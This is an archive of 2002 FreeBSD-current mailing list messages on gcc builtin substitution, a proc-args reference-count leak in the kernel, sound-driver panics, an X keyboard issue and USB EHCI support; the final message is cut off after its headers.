Date: Mon, 17 Jun 2002 00:54:49 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Erik Trulsson <ertr1013@student.uu.se>
Cc: Bruce Evans <bde@zeta.org.au>, Maxime Henrion <mux@FreeBSD.ORG>,
	current@FreeBSD.ORG
Subject: Re: duplicate -ffreestanding in kernel build
References: <20020617150426.W3371-100000@gamplex.bde.org> <3D0D8788.D668B2C0@mindspring.com> <20020617073924.GA12276@falcon.midgard.homeip.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Erik Trulsson wrote:
> As for documentation I suggest you read the documentation for the
> -ffreestanding and -fnobuiltin options in gcc.
> (And read up on the "as-if" rule in the Standard.)

I read it.  It did not specifically state that it made this
assumption, from what I could read.  I read both the man and
info pages.

I asked this before: am I missing some documentation, here?


> > I think I'm going to be sick.
> 
> Why?  Because your assumptions turned out to be merely assumptions and
> not facts?

Because (as Mark Valentine said):

	"It means you can't futz with the implementation of the
	 standard library in a standard way."

Does "-nostdlib" imply "turn the printf/puts conversions off,
thanks"?  Assuming you can substitute one standard library
function for another in certain cases really should be more
or less predicated on your having the standard library functions
in scope for the link, right?

-- Terry

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  1: 0:38 2002
Delivered-To: freebsd-current@freebsd.org
Received: from rwcrmhc53.attbi.com (rwcrmhc53.attbi.com [204.127.198.39])
	by hub.freebsd.org (Postfix) with ESMTP id 9F3C137B40A
	for <freebsd-current@FreeBSD.ORG>; Mon, 17 Jun 2002 01:00:10 -0700 (PDT)
Received: from InterJet.elischer.org ([12.232.206.8])
          by rwcrmhc53.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020617080010.CVQY11659.rwcrmhc53.attbi.com@InterJet.elischer.org>;
          Mon, 17 Jun 2002 08:00:10 +0000
Received: from localhost (localhost.elischer.org [127.0.0.1])
	by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id AAA13228;
	Mon, 17 Jun 2002 00:51:32 -0700 (PDT)
Date: Mon, 17 Jun 2002 00:51:31 -0700 (PDT)
From: Julian Elischer <julian@elischer.org>
To: Bruce Evans <bde@zeta.org.au>
Cc: Peter Jeremy <peter.jeremy@alcatel.com.au>,
	freebsd-current@FreeBSD.ORG
Subject: Re: proc-args (M_PARGS) leakage
In-Reply-To: <20020617155522.X3493-100000@gamplex.bde.org>
Message-ID: <Pine.BSF.4.21.0206170050590.11814-100000@InterJet.elischer.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Bruce, if you've worked all this out, could you commit it?


On Mon, 17 Jun 2002, Bruce Evans wrote:

> On Mon, 17 Jun 2002, Peter Jeremy wrote:
> 
> > Having noticed that my system is paging far more than I would have
> > expected, I went looking and found that the 'proc-args' pool was
> > far larger than I expected.  And is growing over time:
> >
> > gsmx07# vmstat -m|grep proc-args
> >     proc-args701802 70634K  70634K  1589264  16,32,64,128,256
> > [about 10 minutes delay]
> > gsmx07# vmstat -m|grep proc-args;vmstat -m|grep proc-args
> >     proc-args702048 70652K  70652K  1589557  16,32,64,128,256
> >     proc-args702047 70652K  70652K  1589558  16,32,64,128,256
> > gsmx07#
> 
> I see a relatively slow growth on a fairly idle machine (4031K after
> 3 days of uptime).
> 
> > Whilst I'm fairly certain it's not my problem, sysctl_kern_proc_args()
> > (1.136) looks dubious:
> > ...
> >         PROC_LOCK(p);
> >         pa = p->p_args;
> >         pargs_hold(pa);
> >         PROC_UNLOCK(p);
> >         if (req->oldptr && pa != NULL) {
> >                 error = SYSCTL_OUT(req, pa->ar_args, pa->ar_length);
> >         }
> >         if (req->newptr == NULL) {
> >                 pargs_drop(pa);
> >                 return (error);
> >         }
> > To this point, it all looks correct: An additional reference has been
> > added to p_args to allow the SYSCTL_OUT() to copy the arguments without
> > them being freed.  The relevant pargs entry will have a ref count of at
> > least 2 (the original reference from 'p' and a new reference via
> > pargs_hold()).
> >
> >         PROC_LOCK(p);
> >         pa = p->p_args;
> >         p->p_args = NULL;
> >         PROC_UNLOCK(p);
> >         pargs_drop(pa);
> >
> > (And later code shows pa dead at this point).  I don't follow this.
> > pargs_drop(pa) deletes a single reference count - which matches the
> > line "p->p_args = NULL;" - but I don't see anything to match the
> > pargs_hold(pa) above.
> 
> Yes, this seems to be missing a pargs_drop() to drop the reference that
> we have just gained.  The corresponding code in RELENG_4 uses
> --p->p_args->ar_ref to drop the main reference.  This was sufficient since
> RELENG_4 doesn't aquire another reference.  I think the above should be
> (after fixing some other bugs (see below) and some style bugs):
> 
> 	if (req->oldptr != NULL) {
> 		if (pa != NULL)
> 			error = SYSCTL_OUT(req, pa->ar_args, pa->ar_length);
> 		else
> 			dont_forget_to_set_output_parameters();
> 	}
> 	pargs_drop(pa);
> 	if (error != 0 || req->newptr == NULL)
> 		return (error);
> #ifdef foot_shooting
> 	/*
> 	 * This just loses if we can't read the new args.  It doesn't even
> 	 * help in the non-error case, since setting p->p_args to NULL
> 	 * here doesn't keep it NULL after we release the proc lock.
> 	 */
> 	PROC_LOCK(p);
> 	pa = p->p_args;
> 	p->p_args = NULL;
> 	PROC_UNLOCK(p);
> 	pargs_drop(pa);
> #endif
> 
> Other bugs:
> 
>         if (req->oldptr && pa != NULL) {
>                 error = SYSCTL_OUT(req, pa->ar_args, pa->ar_length);
>         }
> 
> This fails to set the output parameters in the req->oldptr != NULL case.
> It also has some style bugs (only one pointer explicitly compared with NULL,
> and verbose braces).
> 
> 	if (req->newptr == NULL) {
> 		pargs_drop(pa);
> 		return (error);
> 	}
> 
> This should return if error != 0.
> 
> Otherwise OK until here, as above.  We return if we are just reading
> the proc table.  I would have though that this was the usual case, but
> on my fairly idle system it is 100% unusual: this sysctl is only used
> by sendmail to write sometime.
> 
> 	PROC_LOCK(p);
> 	pa = p->p_args;
> 	p->p_args = NULL;
> 	PROC_UNLOCK(p);
> 	pargs_drop(pa);
> 
> This throws away p->p_args, so we should be sure that we have a new
> p->p_args before doing it ...
> 
> 	if (req->newlen + sizeof(struct pargs) > ps_arg_cache_limit)
> 		return (error);
> 
> ... but here we don't even do this simple error check first.  We also
> return a garbage error code (normally 0).
> 
> 	pa = pargs_alloc(req->newlen);
> 	error = SYSCTL_IN(req, pa->ar_args, req->newlen);
> 	if (!error) {
> 		PROC_LOCK(p);
> 		p->p_args = pa;
> 		PROC_UNLOCK(p);
> 
> This leaks p->p_args in the unlikely event that p->p_args becomes non-NULL
> after we have set it to NULL.  The code under '#ifdef foot_shooting" should
> be merged here to fix this.
> 
> 	} else
> 		pargs_free(pa);
> 	return (error);
> 
> The else clause is for the error case.  Again, we have thown away
> p->p_args too early.
> 
> Bruce
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  1:53:44 2002
Delivered-To: freebsd-current@freebsd.org
Received: from maile.telia.com (maile.telia.com [194.22.190.16])
	by hub.freebsd.org (Postfix) with ESMTP id D59A737B403
	for <current@FreeBSD.ORG>; Mon, 17 Jun 2002 01:53:34 -0700 (PDT)
Received: from d1o913.telia.com (d1o913.telia.com [195.252.44.241])
	by maile.telia.com (8.11.6/8.11.6) with ESMTP id g5H8rXb05059
	for <current@FreeBSD.ORG>; Mon, 17 Jun 2002 10:53:33 +0200 (CEST)
Received: from falcon.midgard.homeip.net (h53n2fls20o913.telia.com [212.181.163.53])
	by d1o913.telia.com (8.8.8/8.8.8) with SMTP id KAA27348
	for <current@FreeBSD.ORG>; Mon, 17 Jun 2002 10:53:31 +0200 (CEST)
Received: (qmail 16321 invoked by uid 1001); 17 Jun 2002 08:53:30 -0000
Date: Mon, 17 Jun 2002 10:53:30 +0200
From: Erik Trulsson <ertr1013@student.uu.se>
To: Terry Lambert <tlambert2@mindspring.com>
Cc: Bruce Evans <bde@zeta.org.au>, Maxime Henrion <mux@FreeBSD.ORG>,
	current@FreeBSD.ORG
Subject: Re: duplicate -ffreestanding in kernel build
Message-ID: <20020617085329.GA12598@falcon.midgard.homeip.net>
Mail-Followup-To: Terry Lambert <tlambert2@mindspring.com>,
	Bruce Evans <bde@zeta.org.au>, Maxime Henrion <mux@FreeBSD.ORG>,
	current@FreeBSD.ORG
References: <20020617150426.W3371-100000@gamplex.bde.org> <3D0D8788.D668B2C0@mindspring.com> <20020617073924.GA12276@falcon.midgard.homeip.net> <3D0D95C9.70210E62@mindspring.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3D0D95C9.70210E62@mindspring.com>
User-Agent: Mutt/1.3.99i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Mon, Jun 17, 2002 at 12:54:49AM -0700, Terry Lambert wrote:
> Erik Trulsson wrote:
> > As for documentation I suggest you read the documentation for the
> > -ffreestanding and -fnobuiltin options in gcc.
> > (And read up on the "as-if" rule in the Standard.)
> 
> I read it.  It did not specifically state that it made this
> assumption, from what I could read.  I read both the man and
> info pages.
> 
> I asked this before: am I missing some documentation, here?

That a hosted C compiler is allowed to substitute puts("foo") for
printf("foo\n") is implied by the C Standard itself. (Using the "as-if"
rule.)  Compilers are not required to document this any more than they
need to document the fact that they may change "2*i" into "i+i"
(assuming "i" is an integer variable.)

Actually, if a compiler doesn't document that it does *not* do such
substitutions then one must assume that it might do it.


Anyway, in the manual for gcc 3.1 one can find the following paragraph (as part
of the description of the -fno-builtin option):

        GCC normally generates special code to handle certain built-in
        functions more efficiently; for instance, calls to alloca may
        become single instructions that adjust the stack directly, and
        calls to memcpy may become inline copy loops. The resulting
        code is often both smaller and faster, but since the function
        calls no longer appear as such, you cannot set a breakpoint on
        those calls, nor can you change the behavior of the functions
        by linking with a different library.

Exactly what functions gcc recognizes as built-ins depends on the
version of gcc (3.1 recognizes more functions than 2.95), but printf is
one of the functions gcc 3.1 treats as built-in.
This, to me, says that gcc may transform a call to one of the built-in
functions into something else.

> 
> 
> > > I think I'm going to be sick.
> > 
> > Why?  Because your assumptions turned out to be merely assumptions and
> > not facts?
> 
> Because (as Mark Valentine said):
> 
> 	"It means you can't futz with the implementation of the
> 	 standard library in a standard way."

To which I would reply that there is no standard way of futzing with
the standard library.  Trying to supply your own definitions of the
standard functions when compiling in a hosted environment is, IMO, a
Bad Idea and not very portable.

> 
> Does "-nostdlib" imply "turn the printf/puts conversions off,
> thanks"?  Assuming you can substitute one standard library

Not by my reading of the documentation, it doesn't.

> function for another in certain cases really should be more
> or less predicated on your having the standard library functions
> in scope for the link, right?

The -nostdlib option just tells the compiler that it should not
*automatically* link with the normal link libraries. This does not
necessarily imply that the standard library functions are not available
to the linker.
This, to me,  means that your code should not call any standard
functions or you need to supply a conforming library to the linker
yourself.
(Besides, I consider -nostdlib to be an option of the "don't use unless
you know exactly what you are doing and why" type. So far I have never
had any reason to use it myself.)

I will say it again: If you don't want the compiler to make assumptions
about the behaviour of the standard functions use -ffreestanding
(possibly in conjunction with -nostdlib if you want to supply your own
startup code.)


> 
> -- Terry


-- 
<Insert your favourite quote here.>
Erik Trulsson
ertr1013@student.uu.se

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  2: 8:39 2002
Delivered-To: freebsd-current@freebsd.org
Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101])
	by hub.freebsd.org (Postfix) with ESMTP id CBC3D37B436
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 02:08:28 -0700 (PDT)
Received: from northrelay03.pok.ibm.com (northrelay03.pok.ibm.com [9.56.224.151])
	by e1.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g5H98Rg5116832
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 05:08:28 -0400
Received: from calvin.in.ibm.com (calvin.in.ibm.com [9.182.24.126])
	by northrelay03.pok.ibm.com (8.11.1m3/NCO/VER6.1) with ESMTP id g5H98PL49360
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 05:08:26 -0400
Received: by calvin.in.ibm.com (Postfix, from userid 1001)
	id 091F733C6; Mon, 17 Jun 2002 14:28:09 +0530 (IST)
Date: Mon, 17 Jun 2002 14:28:09 +0530
From: Sid Carter <sidcarter@symonds.net>
To: freebsd-current@freebsd.org
Subject: Automagic Reboots - pcm....
Message-ID: <20020617085809.GA374@calvin.in.ibm.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.99i
X-Operating-System: FreeBSD calvin.in.ibm.com 5.0-CURRENT FreeBSD 5.0-CURRENT 
Organisation: Sid Carter Inc.
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Hi,

Another reboot happened. This looks like due to pcm and someother random
stuff. This is what I got from the messages.

-----------------------------------------
Jun 17 14:10:05 calvin kernel: /usr/src/sys/vm/uma_core.c:1327: could
sleep with "pcm0:play:0" locked from /usr/src/sys/dev/sound/pcm/sound.c:191
Jun 17 14:10:05 calvin kernel: /usr/src/sys/kern/kern_synch.c:429:
 sleeping with "pcm0:play:0" locked from /usr/src/sys/dev/sound/pcm/dsp.c:150
Jun 17 14:10:05 calvin kernel: lock order reversal
Jun 17 14:10:05 calvin kernel: 1st 0xd38ac500 pcm0:play:0 (pcm
  channel) @ /usr/src/sys/dev/sound/pcm/dsp.c:150
Jun 17 14:10:05 calvin kernel: 2nd 0xc04a53c0 Giant (Giant) @
/usr/src/sys/kern/kern_synch.c:540
Jun 17 14:10:05 calvin kernel: /usr/src/sys/kern/kern_synch.c:429:
sleeping with "pcm0:play:0" locked from /usr/src/sys/dev/sound/pcm/dsp.c:150
Jun 17 14:10:05 calvin kernel: panic: sleeping thread owns a mutex
Jun 17 14:10:05 calvin kernel:
Jun 17 14:10:05 calvin kernel: syncing disks... panic: bremfree: bp
0xc76d1d70 not locked
Jun 17 14:10:05 calvin kernel: Uptime: 2d1h9m33s
Jun 17 14:10:05 calvin kernel: pfs_vncache_unload(): 1 entries remaining
Jun 17 14:10:05 calvin kernel: Terminate ACPI
Jun 17 14:10:05 calvin kernel: Automatic reboot in 15 seconds - press a
key on the console to abort
-----------------------------------------

And some random locked messages.....probably these have been there since
long.

-----------------------------------------
Jun 17 14:12:29 calvin kernel: /usr/src/sys/vm/uma_core.c:1327: could
sleep with "inp" locked from /usr/src/sys/netinet/tcp_usrreq.c:1013
/usr/src/sys/vm/uma_core.c:1327: could sleep with "process lock" locked
from /usr/src/sys/kern/kern_prot.c:613
-----------------------------------------

Any known issues ? BTW These were the modules that were loaded.

-----------------------------------------
calvin# kldstat
Id Refs Address    Size     Name
 1   11 0xc0100000 4e0d5c   kernel
 2    1 0xc05e1000 df90     agp.ko
 3    1 0xc05ef000 3ec88    acpi.ko
 4    1 0xd313c000 4000     logo_saver.ko
 5    1 0xd3184000 16000    linux.ko
 6    1 0xd2fea000 5000     snd_ich.ko
 7    1 0xd3b2f000 17000    snd_pcm.ko
-----------------------------------------

and uname -a

FreeBSD calvin 5.0-CURRENT FreeBSD 5.0-CURRENT #0: Sat Jun 15 01:44:29 IST 2002     root@calvin:/usr/obj/usr/src/sys/GENERIC  i386

Regards
	Sid
-- 
There's more than one way to skin a cat:
	Way number 15 -- Krazy Glue and a toothbrush.

Sid Carter                             FreeBSD oder Debian GNU/Linux.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  2:17: 4 2002
Delivered-To: freebsd-current@freebsd.org
Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31])
	by hub.freebsd.org (Postfix) with ESMTP id D69AD37B427
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 02:17:01 -0700 (PDT)
Received: by flood.ping.uio.no (Postfix, from userid 2602)
	id 610445361; Mon, 17 Jun 2002 11:17:00 +0200 (CEST)
X-URL: http://www.ofug.org/~des/
X-Disclaimer: The views expressed in this message do not necessarily
  coincide with those of any organisation or company with
  which I am or have been affiliated.
To: Tomi.Vainio@Sun.COM
Cc: freebsd-current@freebsd.org
Subject: Re: Still can't use keyboard with X
References: <15628.50724.451116.188088@gargle.gargle.HOWL>
From: Dag-Erling Smorgrav <des@ofug.org>
Date: 17 Jun 2002 11:16:59 +0200
In-Reply-To: <15628.50724.451116.188088@gargle.gargle.HOWL>
Message-ID: <xzp8z5e2rjo.fsf@flood.ping.uio.no>
Lines: 15
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Tomi Vainio - Sun Finland - <Tomi.Vainio@Sun.COM> writes:
> I have had this same problem couple months already.  Last time I asked
> about this I didn't get any answers.  I'am running latest current
> cvsupped during the weekend and XFree86-4.2.0 is also compiled couple
> hours ago.  xdm and startx are otherwise just fine but I can't write
> anything.  Everything seems to go the login process running on that
> same virtual terminal where my X session sits and if I kill that login
> my X dies.

Why do you have getty and X running on the same vt?  Not to mention,
how did you do that, since X normally picks the first unused vt?

DES
-- 
Dag-Erling Smorgrav - des@ofug.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  2:18:50 2002
Delivered-To: freebsd-current@freebsd.org
Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31])
	by hub.freebsd.org (Postfix) with ESMTP id 359F937B420
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 02:18:48 -0700 (PDT)
Received: by flood.ping.uio.no (Postfix, from userid 2602)
	id B5FFF5361; Mon, 17 Jun 2002 11:18:45 +0200 (CEST)
X-URL: http://www.ofug.org/~des/
X-Disclaimer: The views expressed in this message do not necessarily
  coincide with those of any organisation or company with
  which I am or have been affiliated.
To: Josef Karthauser <joe@tao.org.uk>
Cc: "Wilkinson,Alex" <Alex.Wilkinson@dsto.defence.gov.au>,
	Daniel O'Connor <doconnor@gsoft.com.au>,
	Jordan Breeding <jordan.breeding@attbi.com>,
	freebsd-current@freebsd.org
Subject: Re: Support for USB devices out-of-the-box in -current?
References: <1023942655.2959.18.camel@chowder.gsoft.com.au>
	<20020613140635.F4720-100000@squirm.dsto.defence.gov.au>
	<20020616181721.GB90174@genius.tao.org.uk>
From: Dag-Erling Smorgrav <des@ofug.org>
Date: 17 Jun 2002 11:18:45 +0200
In-Reply-To: <20020616181721.GB90174@genius.tao.org.uk>
Message-ID: <xzp4rg22rgq.fsf@flood.ping.uio.no>
Lines: 9
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Josef Karthauser <joe@tao.org.uk> writes:
> No, all of the headers and support is in place for it already, but
> someone needs to port the ehci controller code from NetBSD.

Could you be persuaded to do just that?

DES
-- 
Dag-Erling Smorgrav - des@ofug.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  2:22: 9 2002
Delivered-To: freebsd-current@freebsd.org
Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102])
	by hub.freebsd.org (Postfix) with ESMTP id 3B5A137B404
	for <current@freebsd.org>; Mon, 17 Jun 2002 02:22:06 -0700 (PDT)
Received: from northrelay03.pok.ibm.com (northrelay03.pok.ibm.com [9.56.224.151])
	by e2.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g5H9M5e8041206
	for <current@freebsd.org>; Mon, 17 Jun 2002 05:22:05 -0400
Received: from calvin.in.ibm.com (calvin.in.ibm.com [9.182.24.126])
	by northrelay03.pok.ibm.com (8.11.1m3/NCO/VER6.1) with ESMTP id g5H9LwL101136
	for <current@freebsd.org>; Mon, 17 Jun 2002 05:22:00 -0400
Received: by calvin.in.ibm.com (Postfix, from userid 1001)
	id 30D6333C6; Mon, 17 Jun 2002 14:49:06 +0530 (IST)
Date: Mon, 17 Jun 2002 14:49:06 +0530
From: Sid Carter <sidcarter@symonds.net>
To: current@freebsd.org
Subject: Re: Automagic Reboots - pcm....another ......
Message-ID: <20020617091906.GA12900@calvin.in.ibm.com>
References: <20020617085809.GA374@calvin.in.ibm.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020617085809.GA374@calvin.in.ibm.com>
User-Agent: Mutt/1.3.99i
X-Operating-System: FreeBSD calvin.in.ibm.com 5.0-CURRENT FreeBSD 5.0-CURRENT 
Organisation: Sid Carter Inc.
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

An Mon, Jun 17, 2002 at 02:28:09PM +0530, Sid Carter schreib :
> Another reboot happened. This looks like due to pcm and someother random
> stuff. This is what I got from the messages.
> Jun 17 14:10:05 calvin kernel: /usr/src/sys/kern/kern_synch.c:429:
> sleeping with "pcm0:play:0" locked from /usr/src/sys/dev/sound/pcm/dsp.c:150
> Jun 17 14:10:05 calvin kernel: panic: sleeping thread owns a mutex
> Jun 17 14:10:05 calvin kernel:
> Jun 17 14:10:05 calvin kernel: syncing disks... panic: bremfree: bp
> 0xc76d1d70 not locked
> Jun 17 14:10:05 calvin kernel: Uptime: 2d1h9m33s
> Jun 17 14:10:05 calvin kernel: pfs_vncache_unload(): 1 entries remaining
> Jun 17 14:10:05 calvin kernel: Terminate ACPI
> Jun 17 14:10:05 calvin kernel: Automatic reboot in 15 seconds - press a
> key on the console to abort
Hi

Another reboot... :(

This is what I got when I tried to unload the snd_ich module.....it got
unloaded, but of course crashed immediately.

Jun 17 14:26:57 calvin kernel: /usr/src/sys/vm/uma_core.c:1327: could
sleep with "pcm0" locked from /usr/src/sys/dev/sound/pcm/sound.c:134
Jun 17 14:26:57 calvin last message repeated 4 times
Jun 17 14:26:57 calvin kernel: pcm0: measured ac97 link rate at 55948 Hz
Jun 17 14:28:49 calvin kernel: pcm0: detached
Jun 17 14:34:51 calvin syslogd: kernel boot file is /boot/kernel/kernel
Jun 17 14:34:51 calvin kernel: panic: blockable sleep lock (sleep
mutex) Giant @ /usr/src/sys/vm/vm_fault.c:202

Regards
	Sid
-- 
I've known him as a man, as an adolescent and as a child -- sometimes
on the same day.

Sid Carter                             FreeBSD oder Debian GNU/Linux.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  2:31:22 2002
Delivered-To: freebsd-current@freebsd.org
Received: from pheriche.sun.com (pheriche.sun.com [192.18.98.34])
	by hub.freebsd.org (Postfix) with ESMTP id EBC2F37B41C
	for <freebsd-current@FreeBSD.ORG>; Mon, 17 Jun 2002 02:31:19 -0700 (PDT)
Received: from sunfin.Finland.Sun.COM ([129.159.101.10])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA05924;
	Mon, 17 Jun 2002 03:31:18 -0600 (MDT)
Received: from ultrahot.Finland.Sun.COM (ultrahot [129.159.101.87])
	by sunfin.Finland.Sun.COM (8.10.2+Sun/8.10.2/ENSMAIL,v2.2) with ESMTP id g5H9VIO29772;
	Mon, 17 Jun 2002 12:31:18 +0300 (EEST)
Received: from ultrahot.Finland.Sun.COM (localhost [127.0.0.1])
	by ultrahot.Finland.Sun.COM (8.12.2+Sun/8.12.2) with ESMTP id g5H9VG32023823;
	Mon, 17 Jun 2002 12:31:16 +0300 (EEST)
Received: (from tomppa@localhost)
	by ultrahot.Finland.Sun.COM (8.12.2+Sun/8.12.2/Submit) id g5H9VGwT023820;
	Mon, 17 Jun 2002 12:31:16 +0300 (EEST)
From: Tomi Vainio - Sun Finland - <Tomi.Vainio@Sun.COM>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15629.44131.842990.57839@gargle.gargle.HOWL>
Date: Mon, 17 Jun 2002 12:31:15 +0300
To: Dag-Erling Smorgrav <des@ofug.org>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: Still can't use keyboard with X
In-Reply-To: <xzp8z5e2rjo.fsf@flood.ping.uio.no>
References: <15628.50724.451116.188088@gargle.gargle.HOWL>
	<xzp8z5e2rjo.fsf@flood.ping.uio.no>
X-Mailer: VM 7.05 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid
Reply-To: Tomi.Vainio@Sun.COM
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Dag-Erling Smorgrav writes:
 > 
 > Why do you have getty and X running on the same vt?  Not to mention,
 > how did you do that, since X normally picks the first unused vt?
 > 
I don't know why it chooses to use that vty when others should be
available.  In /etc/ttys only v0-v3 are used so v4-v8 are available
and I think v4 is normally used for X.

  Tomppa

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  3:35:57 2002
Delivered-To: freebsd-current@freebsd.org
Received: from tao.org.uk (genius.tao.org.uk [212.135.162.51])
	by hub.freebsd.org (Postfix) with ESMTP id 3663C37B412
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 03:35:51 -0700 (PDT)
Received: by tao.org.uk (Postfix, from userid 100)
	id 405E0B3; Mon, 17 Jun 2002 11:35:36 +0100 (BST)
Date: Mon, 17 Jun 2002 11:35:36 +0100
From: Josef Karthauser <joe@tao.org.uk>
To: Dag-Erling Smorgrav <des@ofug.org>
Cc: Josef Karthauser <joe@tao.org.uk>,
	"Wilkinson,Alex" <Alex.Wilkinson@dsto.defence.gov.au>,
	Daniel O'Connor <doconnor@gsoft.com.au>,
	Jordan Breeding <jordan.breeding@attbi.com>,
	freebsd-current@freebsd.org
Subject: Re: Support for USB devices out-of-the-box in -current?
Message-ID: <20020617103535.GA41262@genius.tao.org.uk>
